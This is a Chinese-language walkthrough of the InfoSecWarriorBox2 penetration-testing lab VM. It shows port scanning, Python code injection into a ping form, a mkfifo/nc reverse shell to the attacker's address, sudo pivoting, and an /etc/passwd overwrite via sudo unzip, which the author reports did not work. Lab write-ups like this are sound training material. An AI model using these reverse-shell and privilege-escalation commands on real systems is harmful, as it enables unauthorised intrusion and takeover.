靶机渗透-InfoSecWarriorBox2
信息收集
nmap开路
nmap -sS -p1-65535 192.168.1.102
dirb扫描
访问56563端口
初步判断网站是使用python来写的,我们可以使用nc来反弹到shell来执行内容
提示我们输入数字,那随意输入一个数字看看回显
输入了2,执行了ping命令,ping自己,ping的次数为我们输入的数字
试想后台执行的命令为:
ping -c {} 127.0.0.1
Geshell
中括号里面为我们输入的数字次数,所以才会执行两次,那对这个地方进行注入,这就关系到SSIT利用。既然知道我们输入的内容会被用来执行py脚本,那我们就输入一个py命令
__import__('os').system("/bin/bash")
这串代码意思是使用os模块去执行模块下的system命令,执行/bin/bash命令,回弹一个会话框得到第一个shell,用户为bla1.
Getshell-2
查看home下的用户
有四个用户,继续寻找下去。
在我们当前用户目录下有一个bla2-note文件,cat看一下
他告诉我们用户组的密码是czNjcjN0,但是被加密过了,还是尝试一下
连接ck04用户,连接的时候得到惊喜(kali的ssh坏了,用cmder)
看到英文部分
给了一个提示,让我们去看靶机的主机名,大家都知道查看主机名可以用hostname,但是这里还可以用到另一个命令
lsb_release -a
具体解释:https://ipcmen.com/lsb_release
查询到一个codename:bionic,尝试去登录ck04
拿到第一个flag,但是我们无法继续往下执行,那去ck04用户目录下看看有无发现
user.txt已经回显给我们了,我们输入的东西是执行read ip…这些命令,如果这也是插入到python中并且执行的,那我们可以用/bin/bash命令回弹一个shell
但是这个shell不能执行命令呀,想办法回弹一个能执行命令的shell,常规的nc回弹参数-e无法使用,推荐个UP主用过的工具
链接:https://github.com/t0thkr1s/revshellgen
使用这个工具可以给我们一个在无法使用-e参数的情况下的反弹语句,第一步输入让你填写反弹端口号,后面就是选择类型以及无法执行的命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.101 2233 >/tmp/f
监听主机开始监听,然后在刚获得不能执行命令的shell执行反弹命令
次shell下可以执行命令了
提权
linux提权无非是脏牛或者SUID,我们先看sudo -l有什么用户能执行什么命令
发现bla用户可以直接切换,那我们直接切换
sudo -u bla /bin/bash
然后执行python命令获取tty
python -c "import pty;pty.spawn('/bin/bash')"
继续提root,照样sudo -l
解压缩命令可以执行,那我们将文件copy出来,给root修改密码然后切换,这样就可以了。先生成密码
openssl passwd crazy
cat passwd文件,然后复制出来修改
用python搭建一个简易的http服务器,将修改后的文件放在开启http服务器的目录下
基于python3:
python3 -m http.server 7788
下载时把路径切换到用户目录下,也就是/home/bla目录下,然后使用wget下载
我们能执行的是unzip命令,解压缩的功能,那我们先把文件打包,然后直接解压到文件路径替换掉
打包文件:
zip -r 打包后的文件名 passwd
打包好了,解压到目标目录并替换
sudo /usr/bin/unzip pd.zip -d /etc
成功替换了
切换用户,输入密码,提权失败,我也不知道为什么,有大佬给解决一下嘛,球球了!
后面的图是我重新做了截图的,密码不是原来的123456,但是还是不行,求告知
最后,以上所有思路均为参考b站的一个up主:
https://www.bilibili.com/video/BV1ep4y1X78s